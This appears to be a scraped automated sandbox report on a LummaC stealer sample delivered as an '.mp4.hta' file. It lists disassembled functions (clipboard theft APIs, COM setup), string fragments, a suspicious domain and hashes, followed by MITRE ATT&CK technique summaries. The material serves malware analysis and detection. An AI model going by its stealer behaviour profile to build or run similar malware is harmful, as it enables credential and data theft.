API ID: Uninitialize
String ID: 67$learningypr.click$~zpH
API String ID: 3861434553-1069545691
Opcode ID: 1be672a5bdf9757e926f4921a3c06c074e7deaefdc987ae9b41fec6f68bdfe7c
Instruction ID: deebea354d72f030b423c3d853cb2474300e146dd88e3963930101d30d9c0535
Opcode Fuzzy Hash: 1be672a5bdf9757e926f4921a3c06c074e7deaefdc987ae9b41fec6f68bdfe7c
Instruction Fuzzy Hash: D2A1E17090D3C08BD325CF6988907EBBBE1AFD6304F18896DD0D95B396C779450ACB56

Function 00424010 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 549
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

BB, xrefs: 00424361
UG, xrefs: 00424351

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID:
String ID: BB$UG
API String ID: 0-4103563041
Opcode ID: 1bae9f378745d61849d634dce9bf024f166762a28b5d2be9344c3564e0e9dc10
Instruction ID: 156d9476684e9010c292169df6e28d61ec67e40a4f764ac4d0a5d14728a1d911
Opcode Fuzzy Hash: 1bae9f378745d61849d634dce9bf024f166762a28b5d2be9344c3564e0e9dc10
Instruction Fuzzy Hash: 0F0210B5A083409FD310CF64E88162BBBE5EBD2304F54892DF9859B352D7B8D906CB97

Function 00419F2F Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 0041A11A, 0041A127, 0041A241
pzs, xrefs: 00419F74

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID:
String ID: pzs$
API String ID: 0-1216481787
Opcode ID: 0bf6f35e0ff0436d12387b4112f6c39f81766946263b006ec817a30d5d12b92f
Instruction ID: bad2e4c237128bc080bfd88e0f25895fa9b25d80b2d5779574f6d248565b9fff
Opcode Fuzzy Hash: 0bf6f35e0ff0436d12387b4112f6c39f81766946263b006ec817a30d5d12b92f
Instruction Fuzzy Hash: 41C136B2A083418BD724CF24C8957AFB7E2FBD5304F198A2DD48987391DB399855CB86

Function 0043C160 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043F5B8,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C18E

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00431C7E Relevance: 64.9, APIs: 1, Strings: 36, Instructions: 161
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00431CF4

Strings

C, xrefs: 00431DF5
g, xrefs: 00431D15
4, xrefs: 00431EDD
Yz{@#^Q, xrefs: 00431FC7
), xrefs: 00431D3D
%, xrefs: 00431E5D
!, xrefs: 00431E6D
K, xrefs: 00431E35
&, xrefs: 00431D2D
W, xrefs: 00431D95
G, xrefs: 00431E15
-, xrefs: 00431D1D
[, xrefs: 00431DB5
U, xrefs: 00431D85
, xrefs: 00431DDD
o, xrefs: 00431D55
I, xrefs: 00431E25
6, xrefs: 00431D8D
>, xrefs: 00431D7D
Y, xrefs: 00431DA5
S, xrefs: 00431D75
2, xrefs: 00431D6D
], xrefs: 00431DC5
$, xrefs: 00431E8D
), xrefs: 00431EBD
A, xrefs: 00431DE5
k, xrefs: 00431D35
Q, xrefs: 00431D65
0, xrefs: 00431F9D
i, xrefs: 00431D25
_, xrefs: 00431DD5
M, xrefs: 00431E45
m, xrefs: 00431D45
-, xrefs: 00431D4D
O, xrefs: 00431E55
E, xrefs: 00431E05

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: $!$$$%$&$)$)$-$-$0$2$4$6$>$A$C$E$G$I$K$M$O$Q$S$U$W$Y$Yz{@#^Q$[$]$_$g$i$k$m$o
API String ID: 2525500382-522938286
Opcode ID: ff019ebd26435f359dcf28e44e712dc7165cf618e877b448631396c271aaac4d
Instruction ID: 2f1c3c64c2a491f88769adbc13a15e256d52b4c8b6030e9a322d14bce727f2cc
Opcode Fuzzy Hash: ff019ebd26435f359dcf28e44e712dc7165cf618e877b448631396c271aaac4d
Instruction Fuzzy Hash: 8491D32150C7C18DE332C73C881879BBED11BA7224F084B9ED5E99B2E2D7BA4549C767

Function 0042F61D Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0042F691

Strings

0, xrefs: 0042F968

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: c180f1b85863e47242678d3f97803f0c69c53faf0486d10a2c819d29525043e7
Instruction ID: b4d7b026d8aa6781abbd5318ffcc20f8c8a0c303bcae06c1f8cef37b055f9dc9
Opcode Fuzzy Hash: c180f1b85863e47242678d3f97803f0c69c53faf0486d10a2c819d29525043e7
Instruction Fuzzy Hash: 71A1F721109FC28AD336C73C8958797BED26B63224F484B9ED0FB5B7D2D7656106C722

Function 00436DB9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436DE8

Strings

rX]^, xrefs: 00436E13

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: rX]^
API String ID: 95929093-18585577
Opcode ID: c5782d1f1b1acb3603ed6c7abcf7a388ae5646f6ee8c3db6b7038f89b1178cb5
Instruction ID: ef175c13b8ced7d32decf1b74c942c3bf522003778d9426a1b8e920db7a7830d
Opcode Fuzzy Hash: c5782d1f1b1acb3603ed6c7abcf7a388ae5646f6ee8c3db6b7038f89b1178cb5
Instruction Fuzzy Hash: FE212F75E042A58FDB108A78CC813DDBBE09F59314F1981BDC994A7380D77D8D444B91

Function 0043C2AA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043C30C

Strings

uhij, xrefs: 0043C2C5

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID: uhij
API String ID: 2020703349-574180738
Opcode ID: fe5da282865f109871a6ecb703cd99fa4c6c270345d4574396334971c51367c3
Instruction ID: 98d05f4d7b2230f5c666ae21a8e90cbed6482788d95c15171a925ee28005b505
Opcode Fuzzy Hash: fe5da282865f109871a6ecb703cd99fa4c6c270345d4574396334971c51367c3
Instruction Fuzzy Hash: 40012D7E70A1405BDB0C9B34ED4725B7BB39386309F08953DD442C3791ED3ED8068649

Function 0040EBA3 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040EBB5
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040EBCD

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 042b8f7b77cc745151dd42a6a5e6c6ba1ef6fa1493a5705103e72e0ec01d0f40
Instruction ID: 68dab68a2611eaf1f98fe2e0d682a4e8587265123918b47ae6ee898c9d74bc25
Opcode Fuzzy Hash: 042b8f7b77cc745151dd42a6a5e6c6ba1ef6fa1493a5705103e72e0ec01d0f40
Instruction Fuzzy Hash: C1F0B67ABC8320BBF67897149C17F9421149B86F62F354325BB293E7E4C6D43900858D

Function 00431640 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00431684

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c56bfe133a7e9b334f43a47dfc655985188feebc2614a32482a57a4b23c8fb11
Instruction ID: 189fe8157a22b933eaa9243c6b61fe273c95344eb111398440ebc431827aed26
Opcode Fuzzy Hash: c56bfe133a7e9b334f43a47dfc655985188feebc2614a32482a57a4b23c8fb11
Instruction Fuzzy Hash: 34F074B450D342CFE714DF29C5A871ABBE1BBC5344F01891CE4998B790D7B59549CF82

Function 00430FA3 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00430FF1

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 6120e3ea8a807733523cfe404b9402478c9ffdd6f76c91c5e4214e89bdad5abe
Instruction ID: 13b3eb9ee25cd7d89a9acbb5bbae49bfea62dd5ba0374e4de00fe8b64a3f7716
Opcode Fuzzy Hash: 6120e3ea8a807733523cfe404b9402478c9ffdd6f76c91c5e4214e89bdad5abe
Instruction Fuzzy Hash: 82F0FEB45093018FD304DF28C5A875BBBE0FF89344F11881CE0998B390C7B5AA48CF82

Function 0040C5E0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C5F3

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 7affa8ddd7996fb7e9b69a36d60abaed47600370150e60f81ecdfc71045c4293
Instruction ID: fa5ab94b9a6549c588a503765076fe980f8647f728cae694d10bd74d2d58c513
Opcode Fuzzy Hash: 7affa8ddd7996fb7e9b69a36d60abaed47600370150e60f81ecdfc71045c4293
Instruction Fuzzy Hash: CAE07D78AA00005BD30C5F28CC06F513325C787722F04823DB112832E6EC307908C314

Function 0043A8D0 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,?,00000000,0040B2E1,00000000,00000001,?,00000000), ref: 0043A905

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 69b30920e6c9834005f2320e373951eeef9118cf4aabf2b3416a293ff8ad59a4
Instruction ID: 8801ed89c68f70514b9edba5ed3968f9f60f5bda428713c8fd83ccc7b5780fd7
Opcode Fuzzy Hash: 69b30920e6c9834005f2320e373951eeef9118cf4aabf2b3416a293ff8ad59a4
Instruction Fuzzy Hash: F5E08C3040A221EBC2202F11FD06B8A3A24EF06722F0240B0F100AA4F1C770DC92DB8C

Function 0043C2FE Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043C30C

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 28895f92958f0a94c77eede1aa7c39d81608709bbbce7b93a7923cd2d34917f3
Instruction ID: ca16adac3c72a2624057cc77a34347ccbcbd393879fb5e3d0e34a1d64ed82d61
Opcode Fuzzy Hash: 28895f92958f0a94c77eede1aa7c39d81608709bbbce7b93a7923cd2d34917f3
Instruction Fuzzy Hash: A3E086BDB061405FC704CB10EC036513367A38A2063188076D901C77A6DB39E805CA45

Non-executed Functions

Function 00432BE0 Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 96clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00432BF0
GetClipboardData.USER32 ref: 00432C0B
GlobalLock.KERNEL32 ref: 00432C24
GetWindowLongW.USER32 ref: 00432C76
GlobalUnlock.KERNEL32 ref: 00432D1E
CloseClipboard.USER32 ref: 00432D27

Strings

n, xrefs: 00432CA0
b, xrefs: 00432C9B
r, xrefs: 00432CB9
W, xrefs: 00432C91
c, xrefs: 00432CA5
q, xrefs: 00432CAA
|, xrefs: 00432CC3
O, xrefs: 00432C96
+, xrefs: 00432CB4
?, xrefs: 00432C87
`, xrefs: 00432CAF
Q, xrefs: 00432C8C

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: +$?$O$Q$W$`$b$c$n$q$r$|
API String ID: 2832541153-2449071873
Opcode ID: 70f3e16eb7e6523f201d396fa45a88fc54849c34cd480ac3fad2cb9dedd82d4e
Instruction ID: 92a310d55d5ea67847d73ba210176b314c5cefcfe13a23c4d34ff5e5e30a8fa4
Opcode Fuzzy Hash: 70f3e16eb7e6523f201d396fa45a88fc54849c34cd480ac3fad2cb9dedd82d4e
Instruction Fuzzy Hash: 77414CB050C3818EE341AF78D58935FBFE0AB96308F04586DE8C987292D6B9958CC767

Function 0042EB16 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 312COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042EE15

Strings

49, xrefs: 0042EE36
-$?, xrefs: 0042EE2B
#v, xrefs: 0042EE15
8:6?, xrefs: 0042ED5B
,940, xrefs: 0042ED53

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: ,940$-$?$49$8:6?$#v
API String ID: 3664257935-1903658028
Opcode ID: 2713966c13a9916ab6070811b3172db1ae3e0a8211df943558d8602d3a422018
Instruction ID: 0e4f8ad514ff57aa5eb40feaeb3584a6191d670d19b9241763b9c925407e0e47
Opcode Fuzzy Hash: 2713966c13a9916ab6070811b3172db1ae3e0a8211df943558d8602d3a422018
Instruction Fuzzy Hash: 1891A1326083918FE3218F29CC517ABBBD1DFD6314F19896DE4C99B382D6389906C796

Function 0043230D Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 95COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432317
VariantInit.OLEAUT32 ref: 0043232A

Strings

1, xrefs: 0043238A
/, xrefs: 00432380
:, xrefs: 004323B7
7, xrefs: 004323A8
-, xrefs: 00432376
), xrefs: 00432362
3, xrefs: 00432394
9, xrefs: 004323B2
5, xrefs: 0043239E
', xrefs: 00432358
+, xrefs: 0043236C
|, xrefs: 0043238F
;, xrefs: 004323BC
%, xrefs: 0043234E

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: Variant$ClearInit
String ID: %$'$)$+$-$/$1$3$5$7$9$:$;$|
API String ID: 2610073882-2490240685
Opcode ID: ce07dd7f79ead5cc65edd6cbb2a9c7635b8f66265ebf8010a9726540ef825b6c
Instruction ID: 2a2879e89a61be8d421707297cc0c2aa7788c55eaf340b1b63f7dd626f884428
Opcode Fuzzy Hash: ce07dd7f79ead5cc65edd6cbb2a9c7635b8f66265ebf8010a9726540ef825b6c
Instruction Fuzzy Hash: 6341493150C7C18ED3219B38888824BBFD1ABEA328F485B5DE0E5473D6C6B4854ACB57

Function 0040B3B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(004088F5), ref: 0040B3B6
FreeLibrary.KERNEL32 ref: 0040B3D7

Strings

#v, xrefs: 0040B3B6, 0040B3D7

Memory Dump Source

Source File: 00000016.00000002.3660988330.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: 3576e6e5bee3fcd926c74cb0881273e8799c85d97486a9ecef6eb4b5af749e29
Instruction ID: 7a82ca80c01636ea500b4cb05ffea793a021747bed86ad0fb6c34e0e14456062
Opcode Fuzzy Hash: 3576e6e5bee3fcd926c74cb0881273e8799c85d97486a9ecef6eb4b5af749e29
Instruction Fuzzy Hash: FCC002FAC18400EFDE026F61FE0A8293A31AF5730571501F1A42940132DB6A0D2ADA9E

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report winwidgetshp.mp4.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a01vr43g.40w.ps1

